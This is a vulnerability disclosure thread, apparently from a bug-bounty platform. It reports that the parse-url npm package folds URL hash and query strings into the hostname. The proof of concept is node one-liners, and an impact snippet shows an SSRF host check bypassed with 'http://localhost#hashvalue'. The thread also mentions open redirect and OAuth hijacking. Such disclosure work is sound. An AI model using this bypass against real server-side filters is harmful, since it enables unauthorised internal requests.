hostname spoofing via Improper Input Validation in ionicabizau/parse-url

Valid

Reported on

Mar 11th 2022


Description

When to use the parse-url, If user put the https://google.com#hashvalue as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. http://localhost/#hashvalue and http://localhost#hashvalue are the same..

- new URL() of node
❯ node -e 'console.log(new URL("http://localhost#hashvalue"))'
URL {
  href: 'http://localhost/#hashvalue',
  origin: 'http://localhost',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'localhost',
  hostname: 'localhost',
  port: '',
  pathname: '/',
  search: '',
  searchParams: URLSearchParams {},
  hash: '#hashvalue'
}

- url-parse of node
❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))"
{
  slashes: true,
  protocol: 'http:',
  hash: '#hashvalue',
  query: '',
  pathname: '/',
  auth: '',
  host: 'localhost',
  port: '',
  hostname: 'localhost',
  password: '',
  username: '',
  origin: 'http://localhost',
  href: 'http://localhost/#hashvalue'
}

- urllib.parse of python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('http://localhost#hashvalue')
ParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue')
>>>

- parse_url of php
❯ php -a
Interactive shell

php > $arr_url=parse_url('http://localhost#hashvalue');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[fragment] : hashvalue
php >

It should be parsed as above. That way the vulnerability doesn't occur.

Proof of Concept

❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost#hashvalue"))'
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'localhost#hashvalue',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'http://localhost#hashvalue',
  query: [Object: null prototype] {}
}

Impact

const parseUrl = require("parse-url")
const http = require("http")

parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
    console.log('WAF!!!')
} else {
    console.log('bypass!!')
    console.log(http.get(parsed.href))
}
OutPut

bypass!!
ClientRequest {
  _events: [Object: null prototype] {},
  _eventsCount: 0,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  destroyed: false,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  maxRequestsOnConnectionReached: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  _closed: false,
  socket: null,
  _header: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: nop],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function (anonymous)],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: [Object: null prototype] { path: null },
    requests: [Object: null prototype] {},
    sockets: [Object: null prototype] { 'localhost:80:': [Array] },
    freeSockets: [Object: null prototype] {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    scheduling: 'lifo',
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  maxHeaderSize: undefined,
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: 'localhost',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}

When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 2 years ago
Pocas
2 years ago

Researcher


❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost?asdf=asdf"))'
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: null,
  resource: 'localhost?asdf=asdf',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'http://localhost?asdf=asdf',
  query: [Object: null prototype] {}
}

Additionally, the same is true for query strings. Both result in hostname spoofing vulnerabilities.

❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost?querystring'))"
{
  slashes: true,
  protocol: 'http:',
  hash: '',
  query: '?querystring',
  pathname: '/',
  auth: '',
  host: 'localhost',
  port: '',
  hostname: 'localhost',
  password: '',
  username: '',
  origin: 'http://localhost',
  href: 'http://localhost/?querystring'
}

~/Desktop/Hacking/npm-research
❯ node -e 'console.log(new URL("http://localhost?querystring"))'
URL {
  href: 'http://localhost/?querystring',
  origin: 'http://localhost',
  protocol: 'http:',
  username: '',
  password: '',
  host: 'localhost',
  hostname: 'localhost',
  port: '',
  pathname: '/',
  search: '?querystring',
  searchParams: URLSearchParams { 'querystring' => '' },
  hash: ''
}

~/Desktop/Hacking/npm-research
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("http://localhost?querystring")
ParseResult(scheme='http', netloc='localhost', path='', params='', query='querystring', fragment='')
>>>

~/Desktop/Hacking/npm-research 22s
❯ php -a
Interactive shell

php > $arr_url=parse_url('http://localhost?querystring');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[query] : querystring
php >

This, too, must be parsed as above to avoid hostname spoofing vulnerabilities.

We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back 2 years ago
Ionică Bizău (Johnny B.) validated this vulnerability 2 years ago
Pocas has been awarded the disclosure bounty
The fix bounty is now up for grabs
Adam Nygate
2 years ago

Admin


As per the maintainer's comment, this is not a security issue. Adjusting the severity...

Pocas
2 years ago

Researcher


zz

We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 2 years ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. a year ago
We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now considered stale. a year ago
Ionică Bizău (Johnny B.) marked this as fixed in 7.0.0 with commit 21c72a a year ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation